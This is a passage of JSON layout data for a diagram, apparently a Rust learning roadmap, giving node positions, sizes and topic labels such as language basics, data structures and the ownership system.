\"oldId\": \"eYCNYtwXBjZwcPUe7QYZ-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 28.54933185362654,\n        \"y\": 192.90454436142437\n      }\n    },\n    {\n      \"id\": \"oyP1ZyOgDC4nYEQXHwdVQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 28.54933185362654,\n        \"y\": 246.90454436142437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IDEs and Rust Toolchains\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eYCNYtwXBjZwcPUe7QYZ-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 28.54933185362654,\n        \"y\": 246.90454436142437\n      }\n    },\n    {\n      \"id\": \"eYCNYtwXBjZwcPUe7QYZ-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 28.54933185362654,\n        \"y\": 300.90454436142437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Rust REPL (Rust Playground)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 28.54933185362654,\n        \"y\": 300.90454436142437\n      }\n    },\n    {\n      \"id\": \"fqzj-7vQ3Chj0HlamBI2-\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -16.638187271993502,\n        \"y\": 83.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 283\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -16.638187271993502,\n        \"y\": 83.4393516042962\n      }\n    },\n    {\n      \"id\": \"6E4pGifNfSAq6SbzfzFNT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 306.90454436142437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Language Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"08qKtgnhJ3tlb5JKfTDf5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 306.90454436142437\n      }\n    },\n    {\n      \"id\": \"fJH8kw4_0b2BDI1vozwY7\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -624.9579568300146,\n        \"y\": 82.0310613003135\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Syntax and Semantics\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 185,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -624.9579568300146,\n        \"y\": 82.0310613003135\n      }\n    },\n    {\n      \"id\": \"Gw5E21W5zis-RUIgNSEV2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.9579568300146,\n        \"y\": 135.0310613003135\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Variables, DataTypes and Constants\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yqp3UePmSlGyOYpxITis4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 320\n      },\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.9579568300146,\n        \"y\": 135.0310613003135\n      }\n    },\n    {\n      \"id\": \"u2wlnmE1uLaTqWw35UF0a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.9579568300146,\n        \"y\": 192.03106130031347\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Control Flow and Constructs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yqp3UePmSlGyOYpxITis4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 320\n      },\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.9579568300146,\n        \"y\": 192.03106130031347\n      }\n    },\n    {\n      \"id\": \"5hKJaMKpeFEUi3S1Hpiyk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.9579568300146,\n        \"y\": 249.03106130031352\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Functions and Method Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yqp3UePmSlGyOYpxITis4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 320\n      },\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.9579568300146,\n        \"y\": 249.03106130031352\n      }\n    },\n    {\n      \"id\": \"yqp3UePmSlGyOYpxITis4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.9579568300146,\n        \"y\": 306.0310613003135\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pattern Matching & Destructuring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 320\n      },\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.9579568300146,\n        \"y\": 306.0310613003135\n      }\n    },\n    {\n      \"id\": \"ok-T33GCsTCkB9ABDzCDG\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -585.2748410324898,\n        \"y\": 375.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Constructs\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"HpItJIkCXXiVOXO58si4G\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 99,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -585.2748410324898,\n        \"y\": 375.43935160429623\n      }\n    },\n    {\n      \"id\": \"FswpjWqqt8-BzUTsDDjel\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.1322659713495,\n        \"y\": 425.88556487375047\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Enums\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-S1hE-ofNTutnkc2hJBf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.1322659713495,\n        \"y\": 425.88556487375047\n      }\n    },\n    {\n      \"id\": \"Mi9mQ-8gyDPd8Mbu1zuHt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -469.1322659713495,\n        \"y\": 425.88556487375047\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Structs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JAgjrf5WDXiorZ6gFRzTc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -469.1322659713495,\n        \"y\": 425.88556487375047\n      }\n    },\n    {\n      \"id\": \"SJMuIEuHp8X6nfLb0k0TU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -593.1322659713495,\n        \"y\": 425.88556487375047\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Traits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PskCueCc9pSxfnSzfdX-u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -593.1322659713495,\n        \"y\": 425.88556487375047\n      }\n    },\n    {\n      \"id\": \"HzWHDQZjA9OgVZEWrmhKf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.1322659713495,\n        \"y\": 480.45434714576345\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Impl Blocks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U9Bd-GO0QwYVLvESR4PTb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.1322659713495,\n        \"y\": 480.45434714576345\n      }\n    },\n    {\n      \"id\": \"LwSdC6ojcHe6z5TbudE4v\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -603.7748410324898,\n        \"y\": 542.940529972459\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Structures\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"HpItJIkCXXiVOXO58si4G\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 136,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -603.7748410324898,\n        \"y\": 542.940529972459\n      }\n    },\n    {\n      \"id\": \"FHZSxSiOZYNBEz6tu8wuF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.9579568300147,\n        \"y\": 590.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Integers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-S1hE-ofNTutnkc2hJBf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.9579568300147,\n        \"y\": 590.2888446606187\n      }\n    },\n    {\n      \"id\": \"bjwJCGMx5ZfrH7vz3eLS7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -467.1322659713495,\n        \"y\": 590.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Boolean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JAgjrf5WDXiorZ6gFRzTc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -467.1322659713495,\n        \"y\": 590.2888446606187\n      }\n    },\n    {\n      \"id\": \"rNHHp1GgmRnKIYlZayi59\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -580.9579568300147,\n        \"y\": 590.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Floats\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PskCueCc9pSxfnSzfdX-u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 92,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -580.9579568300147,\n        \"y\": 590.2888446606187\n      }\n    },\n    {\n      \"id\": \"dXMJb2wDmmh2jie1AnPoK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.9579568300147,\n        \"y\": 643.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Character\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-S1hE-ofNTutnkc2hJBf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.9579568300147,\n        \"y\": 643.2888446606187\n      }\n    },\n    {\n      \"id\": \"81_J7CwtUUjYPvKV_prg3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -467.1322659713495,\n        \"y\": 643.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tuple\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JAgjrf5WDXiorZ6gFRzTc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -467.1322659713495,\n        \"y\": 643.2888446606187\n      }\n    },\n    {\n      \"id\": \"Hu1jf46OpX44nam_UvYqc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -575.9579568300147,\n        \"y\": 643.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"String\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PskCueCc9pSxfnSzfdX-u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -575.9579568300147,\n        \"y\": 643.2888446606187\n      }\n    },\n    {\n      \"id\": \"2DbdHCjFzGHwCUETakaGh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.7836476886799,\n        \"y\": 696.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Array\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-S1hE-ofNTutnkc2hJBf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.7836476886799,\n        \"y\": 696.2888446606187\n      }\n    },\n    {\n      \"id\": \"JAgjrf5WDXiorZ6gFRzTc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -485.1322659713495,\n        \"y\": 696.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hashmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -485.1322659713495,\n        \"y\": 696.2888446606187\n      }\n    },\n    {\n      \"id\": \"PskCueCc9pSxfnSzfdX-u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -592.7836476886799,\n        \"y\": 696.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Vector\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -592.7836476886799,\n        \"y\": 696.2888446606187\n      }\n    },\n    {\n      \"id\": \"b1iYy4Hvkj47Q13V2HE4i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.7836476886799,\n        \"y\": 749.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hashset\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jdndHBzmdgI6uYql6bO4W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.7836476886799,\n        \"y\": 749.2888446606187\n      }\n    },\n    {\n      \"id\": \"iR0ewc2yURqS7bfMWfoBi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -592.1322659713495,\n        \"y\": 749.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LinkedList\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-S1hE-ofNTutnkc2hJBf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -592.1322659713495,\n        \"y\": 749.2888446606187\n      }\n    },\n    {\n      \"id\": \"B-S1hE-ofNTutnkc2hJBf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -473.1322659713495,\n        \"y\": 749.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -473.1322659713495,\n        \"y\": 749.2888446606187\n      }\n    },\n    {\n      \"id\": \"fq2NMV-QV9ayJl82ZWzov\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.7836476886799,\n        \"y\": 803.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Queue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jdndHBzmdgI6uYql6bO4W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 97,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.7836476886799,\n        \"y\": 803.2888446606187\n      }\n    },\n    {\n      \"id\": \"jdndHBzmdgI6uYql6bO4W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -592.1322659713495,\n        \"y\": 803.2888446606187\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Binary Heap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-S1hE-ofNTutnkc2hJBf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -592.1322659713495,\n        \"y\": 803.2888446606187\n      }\n    },\n    {\n      \"id\": \"jfdA_UG-Fm_3nQzrAbVv2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -617.2748410324898,\n        \"y\": 869.3984712635258\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ownership System\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"HpItJIkCXXiVOXO58si4G\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 166,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -617.2748410324898,\n        \"y\": 869.3984712635258\n      }\n    },\n    {\n      \"id\": \"2UQ3AuGkDbT0-54l0rOGM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.2748410324898,\n        \"y\": 912.3984712635258\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ownership Rules & Memory Safety\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U9Bd-GO0QwYVLvESR4PTb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.2748410324898,\n        \"y\": 912.3984712635258\n      }\n    },\n    {\n      \"id\": \"-onH5vPffdcZFjjVcnEpk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.2748410324898,\n        \"y\": 965.8111648956035\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Borrowing, References and Slices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U9Bd-GO0QwYVLvESR4PTb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.2748410324898,\n        \"y\": 965.8111648956035\n      }\n    },\n    {\n      \"id\": \"UdXq0H8599cDTKXaIlPqt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.2748410324898,\n        \"y\": 1018.9210950930203\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deep Dive: Stack vs Heap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U9Bd-GO0QwYVLvESR4PTb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.2748410324898,\n        \"y\": 1018.9210950930203\n      }\n    },\n    {\n      \"id\": \"HpItJIkCXXiVOXO58si4G\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -642.2748410324898,\n        \"y\": 1086.6456624104587\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Advanced Data Structures\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 216,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -642.2748410324898,\n        \"y\": 1086.6456624104587\n      }\n    },\n    {\n      \"id\": \"LWgaZWTJVWLDes3HzflRh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.1322659713494,\n        \"y\": 1130.2144446824718\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BTreeMap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3nXJg5Y4SUug_dEAj0eQm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"measured\": {\n        